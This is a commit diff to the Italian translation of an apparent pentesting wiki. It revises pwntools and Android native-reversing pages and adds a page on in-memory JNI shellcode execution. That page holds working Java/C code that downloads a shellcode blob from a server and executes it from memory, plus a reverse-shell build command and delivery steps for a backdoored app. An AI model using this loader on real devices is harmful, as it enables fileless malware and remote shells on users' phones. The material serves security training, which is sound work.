Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's

2025-10-10 18:36:50 +00:00 · 2025-09-30 02:12:10 +00:00 · 2025-09-30 02:12:10 +00:00 · b06d33987c
commit b06d33987c
parent c41160ecdd
5 changed files with 516 additions and 349 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -353,6 +353,7 @@
    - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
    - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
  - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
+  - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
  - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
  - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
  - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
@ -11,16 +11,16 @@ Ottieni **opcodes** da una riga o da un file.
 pwn asm "jmp esp"
 pwn asm -i <filepath>
 ```
-**Può selezionare:**
+**Puoi selezionare:**

 - tipo di output (raw,hex,string,elf)
 - contesto del file di output (16,32,64,linux,windows...)
- evitare byte (nuove righe, null, un elenco)
- selezionare l'encoder debug shellcode utilizzando gdb eseguire l'output
+- evitare byte (new lines, null, a list)
+- seleziona encoder, debug shellcode con gdb, esegui l'output

-## **Controllo Pwn**
+## **Pwn checksec**

-Script checksec
+Checksec script
 ```
 pwn checksec <executable>
 ```
@ -28,49 +28,49 @@ pwn checksec <executable>

 ## Pwn cyclic

-Ottieni un modello
+Ottieni un pattern
 ```
 pwn cyclic 3000
 pwn cyclic -l faad
 ```
-**Può selezionare:**
+**È possibile selezionare:**

- L'alfabeto utilizzato (caratteri minuscoli per impostazione predefinita)
- Lunghezza del modello unico (impostazione predefinita 4)
- contesto (16,32,64,linux,windows...)
- Prendere l'offset (-l)
+- L'alfabeto usato (caratteri minuscoli per impostazione predefinita)
+- Lunghezza del uniq pattern (predefinito 4)
+- context (16,32,64,linux,windows...)
+- Calcola l'offset (-l)

 ## Pwn debug

-Collegare GDB a un processo
+Collega GDB a un processo
 ```
 pwn debug --exec /bin/bash
 pwn debug --pid 1234
 pwn debug --process bash
 ```
-**Può selezionare:**
+**È possibile selezionare:**

- Per eseguibile, per nome o per contesto pid (16,32,64,linux,windows...)
+- Per executable, per nome o per contesto pid (16,32,64,linux,windows...)
 - gdbscript da eseguire
 - sysrootpath

-## Disabilita pwn nx
+## Pwn disablenx

-Disabilita nx di un binario
+Disabilita nx di un binary
 ```
 pwn disablenx <filepath>
 ```
 ## Pwn disasm

-Disas opcode esadecimali
+Disassembla opcode in hex
 ```
 pwn disasm ffe4
 ```
 **Può selezionare:**

- contesto (16,32,64,linux,windows...)
+- context (16,32,64,linux,windows...)
 - indirizzo base
- colore(predefinito)/nessun colore
+- colore (predefinito)/no colore

 ## Pwn elfdiff

@ -90,11 +90,11 @@ Ottieni hexdump
 ```
 pwn phd <file>
 ```
-**Può selezionare:**
+**Puoi selezionare:**

 - Numero di byte da mostrare
- Numero di byte per evidenziare il byte per riga
- Salta byte all'inizio
+- Numero di byte per riga / byte da evidenziare
+- Ignora byte all'inizio

 ## Pwn pwnstrip

@ -102,7 +102,7 @@ pwn phd <file>

 ## Pwn shellcraft

-Ottieni shellcode
+Ottieni shellcodes
 ```
 pwn shellcraft -l #List shellcodes
 pwn shellcraft -l amd #Shellcode with amd in the name
@ -110,39 +110,72 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
 pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
 pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
 ```
-**Può selezionare:**
+**Puoi selezionare:**

- shellcode e argomenti per lo shellcode
+- shellcode e argomenti per il shellcode
 - File di output
 - formato di output
- debug (collega dbg allo shellcode)
- prima (trap di debug prima del codice)
+- debug (attach dbg al shellcode)
+- prima (debug trap prima del codice)
 - dopo
- evita di usare opcodes (predefinito: non nullo e nuova riga)
- Esegui lo shellcode
- Colore/senza colore
- elenca le syscalls
- elenca i possibili shellcodes
- Genera ELF come libreria condivisa
+- evitare l'uso di opcodes (default: not null and new line)
+- Esegui il shellcode
+- Colore/no colore
+- Elenca syscalls
+- Elenca possibili shellcodes
+- Genera ELF come shared library

-## Modello Pwn
+## Pwn template

-Ottieni un modello python
+Ottieni un template Python
 ```
 pwn template
 ```
-**Può selezionare:** host, port, user, pass, path e quiet
+**È possibile selezionare:** host, port, user, pass, path and quiet

 ## Pwn unhex

-Da esadecimale a stringa
+Da hex a string
 ```
 pwn unhex 686f6c61
 ```
-## Aggiornamento di Pwn
+## Aggiornamento Pwn

 Per aggiornare pwntools
 ```
 pwn update
 ```
+## ELF → impacchettamento raw shellcode (loader_append)
+
+Pwntools può trasformare un ELF standalone in un singolo blob di raw shellcode che si mappa autonomamente i segmenti e trasferisce l'esecuzione all'entrypoint originale. Questo è ideale per memory-only loaders (es., Android apps che invocano JNI per eseguire byte scaricati).
+
+Pipeline tipica (esempio amd64)
+
+1) Costruire un payload ELF statico e position-independent (si consiglia musl per portabilità):
+```bash
+musl-gcc -O3 -s -static -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+2) Convertire ELF → shellcode con pwntools:
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
+```
+3) Consegnare sc a un memory loader (es., via HTTP[S]) ed eseguirlo in-process.
+
+Note
+- loader_append incorpora il programma ELF originale nel shellcode ed emette un piccolo loader che mmaps i segmenti e salta all'entry.
+- Sii esplicito riguardo l'architettura tramite context.clear(arch=...). arm64 è comune su Android.
+- Mantieni il codice del tuo payload position‑independent ed evita assunzioni sull'ASLR/NX del processo.
+
+## Riferimenti
+
+- [Pwntools](https://docs.pwntools.com/en/stable/)
+- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
+
 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
--- a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md
+++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md
@ -0,0 +1,121 @@
+# Esecuzione di codice nativo in memoria su Android via JNI (shellcode)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Questa pagina documenta un pattern pratico per eseguire payloads nativi interamente in memoria da un processo di un'app Android non attendibile usando JNI. Il flusso evita la creazione di qualsiasi binario nativo su disco: scaricare byte raw di shellcode via HTTP(S), passarli a un bridge JNI, allocare memoria RX e saltarci dentro.
+
+Perché è importante
+- Riduce gli artefatti forensi (nessun ELF su disco)
+- Compatibile con payloads nativi “stage-2” generati da un exploit ELF binario
+- Corrisponde alla tradecraft utilizzata da malware moderni e red teams
+
+Schema ad alto livello
+1) Recuperare i byte dello shellcode in Java/Kotlin
+2) Chiamare un metodo nativo (JNI) passando l'array di byte
+3) In JNI: allocare memoria RW → copiare i byte → mprotect a RX → chiamare l'entrypoint
+
+Esempio minimo
+
+Lato Java/Kotlin
+```java
+public final class NativeExec {
+static { System.loadLibrary("nativeexec"); }
+public static native int run(byte[] sc);
+}
+
+// Download and execute (simplified)
+byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
+int rc = NativeExec.run(sc);
+```
+Lato C JNI (arm64/amd64)
+```c
+#include <jni.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <unistd.h>
+
+static inline void flush_icache(void *p, size_t len) {
+__builtin___clear_cache((char*)p, (char*)p + len);
+}
+
+JNIEXPORT jint JNICALL
+Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
+jsize len = (*env)->GetArrayLength(env, sc);
+if (len <= 0) return -1;
+
+// RW anonymous buffer
+void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+if (buf == MAP_FAILED) return -2;
+
+jboolean isCopy = 0;
+jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
+if (!bytes) { munmap(buf, len); return -3; }
+
+memcpy(buf, bytes, len);
+(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
+
+// Make RX and execute
+if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
+flush_icache(buf, len);
+
+int (*entry)(void) = (int (*)(void))buf;
+int ret = entry();
+
+// Optional: restore RW and wipe
+mprotect(buf, len, PROT_READ | PROT_WRITE);
+memset(buf, 0, len);
+munmap(buf, len);
+return ret;
+}
+```
+Note e avvertenze
+- W^X/execmem: Le versioni moderne di Android applicano W^X; le mappature anonime PROT_EXEC sono generalmente ancora consentite per i processi delle app con JIT (soggette alla policy SELinux). Alcuni dispositivi/ROM limitano questo; ricorrere a JIT-allocated exec pools o native bridges quando necessario.
+- Architetture: Assicurati che l'architettura dello shellcode corrisponda al dispositivo (arm64-v8a comunemente; x86 solo su emulatori).
+- Contratto dell'entrypoint: Decidi una convenzione per l'entrypoint del tuo shellcode (no args vs puntatore a struttura). Mantienilo position-independent (PIC).
+- Stabilità: Pulisci la instruction cache prima di saltare; una cache non corrispondente può causare crash su ARM.
+
+Pacchettizzazione ELF → position‑independent shellcode
+Una pipeline robusta consiste nel:
+- Compila il tuo exploit come un ELF statico con musl-gcc
+- Converti l'ELF in un blob di shellcode self‑loading usando pwntools’ shellcraft.loader_append
+
+Compilazione
+```bash
+musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+Convertire ELF in raw shellcode (esempio amd64)
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+loader = shellcraft.loader_append(elf.data, arch='amd64')
+sc = asm(loader)
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
+```
+Perché loader_append funziona: emette un tiny loader che mappa i segmenti del programma ELF incorporati in memoria e trasferisce il controllo al suo entrypoint, fornendoti un unico raw blob che può essere memcpy’ed ed eseguito dall'app.
+
+Delivery
+- Ospita sc su un server HTTP(S) che controlli
+- L'app backdoored/test scarica sc e invoca il bridge JNI mostrato sopra
+- Ascolta sulla tua operator box per qualsiasi reverse connection che il payload kernel/user-mode stabilisca
+
+Validation workflow for kernel payloads
+- Usa un vmlinux simbolizzato per reversing/recupero rapido degli offset
+- Prototipa le primitive su un'immagine di debug conveniente se disponibile, ma riesegui sempre la validazione sul target Android reale (kallsyms, KASLR slide, page-table layout, and mitigations differ)
+
+Rafforzamento/Rilevamento (blue team)
+- Vieta PROT_EXEC anonimo nei domini delle app dove possibile (SELinux policy)
+- Applica una rigorosa code integrity (non consentire dynamic native loading dalla rete) e valida i canali di aggiornamento
+- Monitora transizioni sospette mmap/mprotect verso RX e grandi copie di byte-array precedenti a salti
+
+References
+- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
+- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
+- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
+- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
+- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
+++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
@ -5,12 +5,12 @@

 **Per ulteriori informazioni consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)

-Le app Android possono usare librerie native, tipicamente scritte in C o C++, per attività che richiedono prestazioni critiche. Gli autori di malware abusano anche di queste librerie perché gli ELF shared objects sono ancora più difficili da decompilare rispetto al byte-code DEX/OAT.
-Questa pagina si concentra su *workflow* pratici e miglioramenti degli strumenti *recenti* (2023-2025) che rendono più facile il reversing dei file Android `.so`.
+Le app Android possono usare librerie native, tipicamente scritte in C o C++, per compiti critici in termini di performance. Anche gli autori di malware abusano di queste librerie perché gli ELF shared objects sono ancora più difficili da decompilare rispetto al byte-code DEX/OAT.
+Questa pagina si concentra su workflow *pratici* e su miglioramenti degli strumenti *recenti* (2023-2025) che rendono più facile il reversing di file `.so` Android.

 ---

-### Flusso di triage rapido per un `libfoo.so` appena estratto
+### Quick triage-workflow for a freshly pulled `libfoo.so`

 1. **Extract the library**
 ```bash
@ -31,18 +31,18 @@ readelf -s libfoo.so | grep ' Java_'     # dynamic-linked JNI
 strings libfoo.so   | grep -i "RegisterNatives" -n   # static-registered JNI
 ```
 4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis.
-Le versioni più recenti di Ghidra hanno introdotto un decompiler AArch64 che riconosce PAC/BTI stubs e MTE tags, migliorando notevolmente l'analisi delle librerie compilate con l'NDK di Android 14.
-5. **Decide on static vs dynamic reversing:** il codice stripped e offuscato spesso necessita di *instrumentation* (Frida, ptrace/gdbserver, LLDB).
+Le versioni più recenti di Ghidra hanno introdotto un decompiler AArch64 che riconosce i PAC/BTI stubs e i tag MTE, migliorando notevolmente l'analisi delle librerie buildate con l'NDK di Android 14.
+5. **Decide on static vs dynamic reversing:** il codice stripped o offuscato spesso richiede *strumentazione* (Frida, ptrace/gdbserver, LLDB).

 ---

-### Instrumentazione dinamica (Frida ≥ 16)
+### Dynamic Instrumentation (Frida ≥ 16)

 La serie 16 di Frida ha introdotto diversi miglioramenti specifici per Android che aiutano quando il target usa ottimizzazioni moderne di Clang/LLD:

-* `thumb-relocator` può ora *hook tiny ARM/Thumb functions* generate dall'allineamento aggressivo di LLD (`--icf=all`).
-* L'enumerazione e il rebinding degli *ELF import slots* funziona su Android, permettendo il patching `dlopen()`/`dlsym()` per modulo quando gli inline hooks vengono rifiutati.
-* Il Java hooking è stato corretto per il nuovo **ART quick-entrypoint** usato quando le app sono compilate con `--enable-optimizations` su Android 14.
+* `thumb-relocator` può ora *hookare funzioni ARM/Thumb piccole* generate dall'aggressivo allineamento di LLD (`--icf=all`).
+* L'enumerazione e il rebinding degli *ELF import slots* funziona su Android, permettendo il patch per-modulo con `dlopen()`/`dlsym()` quando gli inline hooks vengono rifiutati.
+* Java hooking è stato sistemato per il nuovo **ART quick-entrypoint** usato quando le app sono compilate con `--enable-optimizations` su Android 14.

 Esempio: enumerare tutte le funzioni registrate tramite `RegisterNatives` e dumpare i loro indirizzi a runtime:
 ```javascript
@ -61,29 +61,29 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
 });
 });
 ```
-Frida funzionerà immediatamente su dispositivi con PAC/BTI abilitato (Pixel 8/Android 14+) purché si usi frida-server 16.2 o successivo - le versioni precedenti non riuscivano a trovare il padding per gli inline hooks.
+Frida funzionerà immediatamente sui dispositivi abilitati PAC/BTI (Pixel 8/Android 14+) purché si usi frida-server 16.2 o superiore – le versioni precedenti non riuscivano a individuare il padding per gli inline hooks.

-### Process-local JNI telemetry via preloaded .so (SoTap)
+### Telemetria JNI locale al processo tramite .so precaricato (SoTap)

-Quando un'instrumentation completa è eccessiva o bloccata, è comunque possibile ottenere visibilità a livello nativo precaricando un piccolo logger all'interno del processo target. SoTap è una libreria nativa Android leggera (.so) che registra il comportamento runtime di altre librerie JNI (.so) all'interno dello stesso processo dell'app (no root required).
+Quando un'instrumentazione completa è eccessiva o bloccata, è comunque possibile ottenere visibilità a livello nativo pre-caricando un piccolo logger all'interno del processo target. SoTap è una libreria nativa Android (.so) leggera che registra il comportamento a runtime di altre librerie JNI (.so) all'interno dello stesso processo dell'app (non richiede root).

-Key properties:
- Si inizializza precocemente e osserva le interazioni JNI/native all'interno del processo che lo carica.
- Persiste i log utilizzando più percorsi scrivibili con fallback elegante a Logcat quando lo storage è ristretto.
- Personalizzabile a livello di sorgente: modifica sotap.c per estendere/adeguare cosa viene registrato e ricompila per ABI.
+Caratteristiche principali:
+- Si inizializza precocemente e osserva le interazioni JNI/native all'interno del processo che la carica.
+- Conserva i log usando più percorsi scrivibili con fallback elegante a Logcat quando lo storage è limitato.
+- Personalizzabile dal sorgente: modifica sotap.c per estendere/aggiustare ciò che viene loggato e ricompila per ABI.

-Setup (repack the APK):
-1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
- lib/arm64-v8a/libsotap.so (for arm64)
- lib/armeabi-v7a/libsotap.so (for arm32)
-2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example:
+Setup (ripacchetta l'APK):
+1) Inserisci la build per l'ABI corretta nell'APK in modo che il loader possa risolvere libsotap.so:
+- lib/arm64-v8a/libsotap.so (per arm64)
+- lib/armeabi-v7a/libsotap.so (per arm32)
+2) Assicurati che SoTap venga caricata prima delle altre librerie JNI. Inietta una chiamata in anticipo (es. nell'inizializzatore statico della sottoclasse Application o onCreate) in modo che il logger venga inizializzato prima. Esempio di snippet Smali:
 ```smali
 const-string v0, "sotap"
 invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
 ```
-3) Rebuild/sign/install, run the app, then collect logs.
+3) Ricostruisci/firma/installa, avvia l'app, poi raccogli i log.

-Log paths (checked in order):
+Percorsi dei log (verificati nell'ordine):
 ```
 /data/user/0/%s/files/sotap.log
 /data/data/%s/files/sotap.log
@ -91,46 +91,57 @@ Log paths (checked in order):
 /sdcard/Download/sotap-%s.log
 # If all fail: fallback to Logcat only
 ```
-Note e risoluzione dei problemi:
+Notes and troubleshooting:
 - L'allineamento ABI è obbligatorio. Un mismatch provocherà UnsatisfiedLinkError e il logger non verrà caricato.
- Le limitazioni di storage sono comuni su Android moderni; se le scritture su file falliscono, SoTap continuerà comunque a emettere tramite Logcat.
- Comportamento/verbosità è pensato per essere personalizzato; ricompila dal sorgente dopo aver modificato sotap.c.
+- Le limitazioni di storage sono comuni sui dispositivi Android moderni; se le scritture su file falliscono, SoTap continuerà comunque a emettere tramite Logcat.
+- Comportamento/verbosità è pensato per essere personalizzato; ricompila dalla sorgente dopo aver modificato sotap.c.

 This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available.

 ---

-### Vulnerabilità recenti da cercare negli APK
+### See also: in‑memory native code execution via JNI

-| Anno | CVE | Libreria interessata | Note |
-|------|-----|----------------------|------|
-|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| |
-|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
+A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here:
+
+{{#ref}}
+in-memory-jni-shellcode-execution.md
+{{#endref}}
+
+---
+
+### Recent vulnerabilities worth hunting for in APKs
+
+| Year | CVE | Affected library | Notes |
+|------|-----|------------------|-------|
+|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Overflow del buffer heap raggiungibile dal codice nativo che decodifica immagini WebP. Diverse app Android includono versioni vulnerabili. Quando trovi un `libwebp.so` dentro un APK, controlla la sua versione e prova a sfruttarla o a patcharla.| |
+|2024|Multiple|OpenSSL 3.x series|Diverse problematiche di sicurezza della memoria e padding-oracle. Molti bundle Flutter & ReactNative distribuiscono il proprio `libcrypto.so`.|

 When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant.

 ---

-### Tendenze Anti-Reversing & Hardening (Android 13-15)
+### Anti-Reversing & Hardening trends (Android 13-15)

-* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 abilita PAC/BTI nelle librerie di sistema su siliconi ARMv8.3+ supportati. I decompilatori ora mostrano pseudo-istruzioni correlate a PAC; per l'analisi dinamica Frida inietta trampolines *after* stripping PAC, ma i tuoi trampolines personalizzati dovrebbero chiamare `pacda`/`autibsp` quando necessario.
-* **MTE & Scudo hardened allocator:** il memory-tagging è opt-in ma molte app Play-Integrity aware vengono compilate con `-fsanitize=memtag`; usa `setprop arm64.memtag.dump 1` più `adb shell am start ...` per catturare tag faults.
-* **LLVM Obfuscator (opaque predicates, control-flow flattening):** i packer commerciali (e.g., Bangcle, SecNeo) proteggono sempre di più il codice *native*, non solo Java; aspettati bogus control-flow e blob di stringhe cifrate in `.rodata`.
+* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 abilita PAC/BTI nelle librerie di sistema su siliconi ARMv8.3+ supportati. I decompiler ora mostrano pseudo-istruzioni relative a PAC; per l'analisi dinamica Frida inietta trampolines *after* stripping PAC, ma i tuoi trampolines personalizzati dovrebbero chiamare `pacda`/`autibsp` quando necessario.
+* **MTE & Scudo hardened allocator:** il memory-tagging è opzionale ma molte app consapevoli di Play-Integrity vengono compilate con `-fsanitize=memtag`; usa `setprop arm64.memtag.dump 1` più `adb shell am start ...` per catturare i tag faults.
+* **LLVM Obfuscator (opaque predicates, control-flow flattening):** i packer commerciali (es. Bangcle, SecNeo) proteggono sempre più il codice *native*, non solo Java; aspettati controllo-flusso fasullo e encrypted string blobs in `.rodata`.

 ---

-### Risorse
+### Resources

- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
+- **Imparare ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
+- **Documentazione JNI & NDK:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
+- **Debugging delle Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)

-### Riferimenti
+### References

- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
+- Changelog di Frida 16.x (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
 - Avviso NVD per l'overflow di `libwebp` CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
+- SoTap: logger leggero per il comportamento JNI in-app (.so) – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
 - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
 - Come lavorare con SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
+- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)

 {{#include ../../banners/hacktricks-training.md}}